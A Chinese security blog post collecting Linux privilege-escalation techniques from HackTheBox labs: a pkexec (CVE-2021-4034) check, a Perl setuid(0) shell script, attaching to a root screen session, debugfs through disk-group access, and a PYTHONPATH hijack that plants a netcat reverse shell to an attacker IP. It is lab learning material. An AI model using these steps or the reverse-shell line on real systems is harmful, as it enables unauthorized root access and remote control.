标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3104]   作者: 羽毛 发表于: [2022-05-20]

本文共 [320] 位读者顶过

1、CVE-2021-4034

查看suid中是否存在pkexec [出自:jiwo.org]

find / -user root -perm -4000 -print 2>/dev/null

1652864205_6284b4cda36e368d800fd.png!small?1652864206319

这篇文章介绍了怎么手动判断该漏洞是否存在

https://www.datadoghq.com/blog/pwnkit-vulnerability-overview-and-remediation/

1652864214_6284b4d6c4ca0d7d4de75.png!small?1652864215046

dpkg -s policykit-1    #查看pkexec版本。

1652864222_6284b4de62c55bfbe6dec.png!small?1652864223310

1652864234_6284b4eaf06f2f6ebd93c.png!small?1652864235725

靶机Hackthebox Antique

2、perl

如果perl具有POSIX::setuid(0)能力,则可以直接使用perl执行脚本获取shell

1652864244_6284b4f4a09e0a2e3be8e.png!small?1652864244821

在靶机上写a.pl,然后授权执行即可。

#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);

exec "/bin/sh"

1652864251_6284b4fbbe59d0e290245.png!small?1652864252260

1652864255_6284b4ff8c6334c5aef22.png!small?1652864255874

靶机HackTheBox Nunchucks

3、screen

screen 4.5版本存在本地提权漏洞。但是这里不是该版本,所以不存在本地提权漏洞。

这里是获取root权限执行的screen屏幕。

查看进程

1652864264_6284b50842b69d107e96b.png!small?1652864264699

screen使用手册

https://linux.die.net/man/1/screen

1652864272_6284b5105b8b7ed67ae34.png!small?1652864272553

1652864281_6284b519331a4eb312838.png!small?1652864281486

1652864286_6284b51edbc86d935f3b2.png!small?1652864287039

1652864291_6284b523cfeb1a2ac6a5e.png!small?1652864292057

确保通过将 xterm 导出到 TERM 变量来将终端仿真器设置为 xterm。

export TERM=xterm
screen -x root/root

1652864300_6284b52c5c4f87f26c3d5.png!small?1652864300549

1652864332_6284b54c7edcd964bec1d.png!small?1652864332785

靶机HackTheBox Backdoor

4、python环境变量劫持

这里主要是因为不合理的分配脚本权限。

sudo -l查看权限

1652864339_6284b553d37ca8f11f5ff.png!small?1652864340110

无法修改这个文件

1652864345_6284b5592ac0c404a226c.png!small?1652864345680

查看内容

admin_tasks.sh

#!/bin/bash

view_uptime()
{
/usr/bin/uptime -p
}

view_users()
{
/usr/bin/w
}

view_crontab()
{
/usr/bin/crontab -l
}

backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
  echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
  /bin/cp /etc/passwd /var/backups/passwd.bak
  /bin/chown root:root /var/backups/passwd.bak
  /bin/chmod 600 /var/backups/passwd.bak
  echo "Done."
else
  echo "Insufficient privileges to perform the selected operation."
fi
}

backup_shadow()
{
if [ "$EUID" -eq 0 ]
then
  echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
  /bin/cp /etc/shadow /var/backups/shadow.bak
  /bin/chown root:shadow /var/backups/shadow.bak
  /bin/chmod 600 /var/backups/shadow.bak
  echo "Done."
else
  echo "Insufficient privileges to perform the selected operation."
fi
}

backup_web()
{
if [ "$EUID" -eq 0 ]
then
  echo "Running backup script in the background, it might take a while..."
  /opt/scripts/backup.py &
else
  echo "Insufficient privileges to perform the selected operation."
fi
}

backup_db()
{
if [ "$EUID" -eq 0 ]
then
  echo "Running mysqldump in the background, it may take a while..."
  #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
  /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
  echo "Insufficient privileges to perform the selected operation."
fi
}



# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
option=$1
case $option in
  1) view_uptime ;;
  2) view_users ;;
  3) view_crontab ;;
  4) backup_passwd ;;
  5) backup_shadow ;;
  6) backup_web ;;
  7) backup_db ;;

  *) echo "Unknown option." >&2
esac

exit 0
fi


# Interactive way, to be called from the command line
options=("View system uptime"
   "View logged in users"
   "View crontab"
   "Backup passwd file"
   "Backup shadow file"
   "Backup web data"
   "Backup DB"
   "Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
case $REPLY in
  1) view_uptime ; break ;;
  2) view_users ; break ;;
  3) view_crontab ; break ;;
  4) backup_passwd ; break ;;
  5) backup_shadow ; break ;;
  6) backup_web ; break ;;
  7) backup_db ; break ;;
  8) echo "Bye!" ; break ;;

  *) echo "Unknown option." >&2
esac
done

exit 0

backup.py,似乎发现新大陆。从shutil导入make_archive

#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

python环境变量劫持

可以使用' make_archive '函数创建一个假的python 模块,并让这个backup.py通过 PYTHONPATH 变量导入我们的库!

import os
def make_archive(a,b,c):
  os.system("nc 10.10.14.6 1234 -e '/bin/sh'")
sudo PYTHONPATH=/tmp/ /opt/scripts/admin_tasks.sh

1652864368_6284b57054e64a6b2a004.png!small?1652864369431

靶场 HackTheBox Admirer

5、disk组用户获取root秘钥

1652864381_6284b57d203ed3b2704ff.png!small?1652864381324

用户是磁盘组的一部分,这使用户可以完全访问/dev/中包含的任何块设备。对此的访问几乎等同于 root 访问。

我们可以使用debugfs以有效的 root 级别权限枚举整个磁盘。

ls -la /dev/sda1 
debugfs /dev/sda1

1652864387_6284b5830d2986665bcdd.png!small?1652864387582

1652864393_6284b5898ffe36d3aeb35.png!small?1652864393929

靶场 HackTheBox Falafel

来自FreeBuf.COM

评论

暂无
发表评论
 返回顶部 
热度(320)
 关注微信